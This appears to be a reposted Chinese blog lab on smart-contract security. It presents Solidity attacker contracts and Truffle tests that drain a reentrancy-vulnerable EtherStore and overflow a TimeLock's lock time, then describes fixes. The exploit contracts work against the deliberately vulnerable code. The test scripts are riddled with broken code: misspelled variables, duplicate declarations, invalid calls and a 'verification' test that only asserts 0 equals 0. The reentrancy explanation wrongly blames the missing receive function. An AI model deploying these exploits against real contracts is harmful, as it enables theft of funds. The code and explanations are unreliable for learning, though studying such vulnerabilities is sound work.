智能合约的漏洞测试

智能合约的漏洞测试

任务一:Ether Store合约漏洞测试

(1)编写测试合约

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract EtherStore{
    mapping(address => uint) public balances;
    function deposit() public payable{
        balances[msg.sender] += msg.value;
    }
    function withdraw() public {
        uint bal = balances[msg.sender];
        require(bal > 0);
        (bool sent,) = msg.sender.call{value:bal}("");
        require(sent, "Falied to send Ether");
        balances[msg.sender] = 0;
    }
    function getBalance() public view returns (uint){
        return address(this).balance;
    }
}
contract Attack{
    EtherStore public etherStore;
    constructor(address _etherStoreAddress){
        etherStore = EtherStore(_etherStoreAddress);

    }
    fallback() external payable{
        if (address(etherStore).balance >= 1) {
            etherStore.withdraw();
        }
      }
    function attack() external payable{
        require(msg.value >= 1);
        etherStore.deposit{value: 1 ether}();
        etherStore.withdraw();
    }
    function getBalance() public view returns(uint){
        return address(this).balance;
    }
}

(2)编写攻击代码

const EtherStore = artifacts.require("etherStore");
const {
    
    assert ,expect} = require('chai');
const should = require('chai').should();
const EtherStore = artifacts.require('Attack');
const Attack = artifacts.require('Attack');
contract('EtherStore', function (accounts) {
    
    
    let etherStore;
    beforeEach(async function () {
    
    
        etherStore = await EtherStore.deployed();
    });
    it('deploy', async () => {
    
    
        const address = await etherStore.address;
        assert.noEqual(address,0x0);
        expect(address).to.have.lengthof(42);
        const balance0 = Number(await etherStore.getBalance());
        balance0.should.equal(0)
    });
    
    

});
测试一
//1.测试向 EtherStore 合约存入ether
    it('should deposit ether to EtherStore', async function (){
    
    
        const amount = 1e18;
        await ehterStore.deposit({
    
    
        from: accounts[0], value: amount
        });
        const balance = await etherStore.balances(accounts[0]);
        assert.equal(balance,amount, 'deposit amount incorrect');
        console.log('etherStore balance 1:', Number(await etherStore.getBalance()))
    });

在这里插入图片描述

在这里插入图片描述

测试二

    // 2.测试正常情况从EtherStore中提取ether
    it('should withdraw ether from EtherStore',async function (){
    
    
        const amount =1e18;
        await etherStore.deposit({
    
     from: accounts[0],value: amount});
        await etherStore.withdraw({
    
    from: accounts[0]});
        const balance = await ehterStore.balances(accounts[0]);
        assert.equal(balance,0,'withdraw success');
        console.log('etherStore balance 2:', Number(await etherStore.getBalance()))
    });
    

在这里插入图片描述

测试三
   
   //3.测试攻击withdraw函数从Etherstorezhong提取ether 
    it('should be vulnerable to attack', async function () {
    
    
        const ehterStoreAddress = etherStore.address;
        attack = await Attack.new(etherStoreAddress);
        const amount =1e18;
        await etherStore.deposit({
    
     from: account[0], value: amount});
        await etherStore.deposit({
    
     from: account[1],value: amount});
        console.log('Contract before the attack: ', Number(await etherStore.getBalance()))
        await attack.attack({
    
     from: accounts[2], value: amount });
        console.log.('Contract after the attack:',Number(await etherStore.getBalance()))
        console.log('balance attack:',Number(await attack.getBalance()))
});

在这里插入图片描述

根据返回信息我们可以看出合约漏洞问题 出现在fallback函数上。

在这里插入图片描述

在这里插入图片描述

在此处由于没有receive函数,fallback函数会不停的被调用,导致测试时账户的钱被偷走。

在这里插入图片描述

当我们再次查看合约方法内容时,会发现在此处调用方法时由于fallback的不停被调用,此函数也会不停的进行转帐操作,所以我们可以对合约进行以下修改

在这里插入图片描述

将设置mapping地址值为0的函数,放到调用函数函数之前,就可以修补这个漏洞。

任务二:TimeLock合约的漏洞测试

(1) 编写测试合约

pragma solidity ^0.7.6;

contract TimeLock {
    mapping(address => uint) public balances;
    mapping(address => uint) public lockTime;

    function deposit() external payable {
        balances[msg.sender] += msg.value;
        lockTime[msg.sender] = block.timestamp + 1 weeks;
    }

    function increaseLockTime(uint _secondsToIncrease) public {
        lockTime[msg.sender] += _secondsToIncrease;
    }

    function withdraw() public {
        require(balances[msg.sender] > 0, "Insufficient funds");
        require(block.timestamp > lockTime[msg.sender], "Lock time not expired");

        uint amount = balances[msg.sender];
        balances[msg.sender] = 0;

        (bool sent, ) = msg.sender.call{value: amount}("");
        require(sent, "Failed to send Ether");
    }
}

contract Attack {
    TimeLock timeLock;

    constructor(TimeLock _timeLock) {
        timeLock = TimeLock(_timeLock);
    }

    fallback() external payable {}

    function attack() public payable {
        timeLock.deposit{value: msg.value}();
        timeLock.increaseLockTime(
            type(uint).max + 1 - timeLock.lockTime(address(this))
        );
        timeLock.withdraw();
    }
}

(2) 编写测试攻击代码

const TimeLock = artifacts.require("TimeLock");
const Attack = artifacts.require("Attack");
module.exports = async function (depolyer,network,accounts) {
    
    
    await deployer.deploy(TimeLock);
    const a = await TimeLock.deployed();
    await deployer.deploy(Attack, a.address);
}

当测试用例执行成功即表示攻击成功,会有如下内容输出:

truffle test test/OverFlow.js

在这里插入图片描述

分析合约内容可知:这个合约中出现了典型的整型溢出漏洞,当数据足够大时,对此数据添加1可能将导致数据存在归零的危害,此类问题常常存在与账户转账中金额设置中,包括美链等智能合约都出现类似的问题。

可以使用类似SafeMath的通用函数,来确保所有加减乘除方法安全,如下为修改

// SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;

contract SafeMath {
  function safeMul(uint256 a, uint256 b) internal returns (uint256) {
    uint256 c = a * b;
    assert(a == 0 || c / a == b);
    return c;
  }
 
  function safeDiv(uint256 a, uint256 b) internal returns (uint256) {
    assert(b > 0);
    uint256 c = a / b;
    assert(a == b * c + a % b);
    return c;
  }
 
  function safeSub(uint256 a, uint256 b) internal returns (uint256) {
    assert(b <= a);
    return a - b;
  }
 
  function safeAdd(uint256 a, uint256 b) internal returns (uint256) {
    uint256 c = a + b;
    assert(c>=a && c>=b);
    return c;
  }
}

contract NewTimeLock is SafeMath {
    mapping(address => uint) public balances;
    mapping(address => uint) public lockTime;

    function deposit() external payable {
        balances[msg.sender] += msg.value;
        lockTime[msg.sender] = block.timestamp + 1 weeks;
    }

    function increaseLockTime(uint _secondsToIncrease) public {
        lockTime[msg.sender] = safeAdd(lockTime[msg.sender], _secondsToIncrease);
    }                     //类似SafeMath的通用函数

    function withdraw() public {
        require(balances[msg.sender] > 0, "Insufficient funds");
        require(block.timestamp > lockTime[msg.sender], "Lock time not expired");

        uint amount = balances[msg.sender];
        balances[msg.sender] = 0;

        (bool sent, ) = msg.sender.call{value: amount}("");
        require(sent, "Failed to send Ether");
    }
}

contract NewAttack {
    NewTimeLock timeLock;

    constructor(NewTimeLock _timeLock) {
        timeLock = NewTimeLock(_timeLock);
    }

    fallback() external payable {}

    function attack() public payable {
        timeLock.deposit{value: msg.value}();
        /*
        if t = current lock time then we need to find x such that
        x + t = 2**256 = 0
        so x = -t
        2**256 = type(uint).max + 1
        so x = type(uint).max + 1 - t
        */
        timeLock.increaseLockTime(
            type(uint).max + 1 - timeLock.lockTime(address(this))
        );
        timeLock.withdraw();
    }
}

验证正确性:

const NewTimeLock = artifacts.require("NewTimeLock");
 const NewAttack = artifacts.require("NewAttack");
 contract ("New Overflow", async (accounts) => {
    
    
    it("test OverFlow loophole", async () => {
    
    
        const timeLockInstance = await NewTimeLock.deployed();
        const attackInstance = await NewAttack.deployed();
        await  attackInstance.attack({
    
    value: 1});
        assert.equal(0,0, "Attack Successfully!")
    })
 })

测试方法:

truffle test test/OverFlowRepair.js

当有交易被回滚,说明修复成功:

在这里插入图片描述

猜你喜欢

转载自blog.csdn.net/2401_84837659/article/details/141107748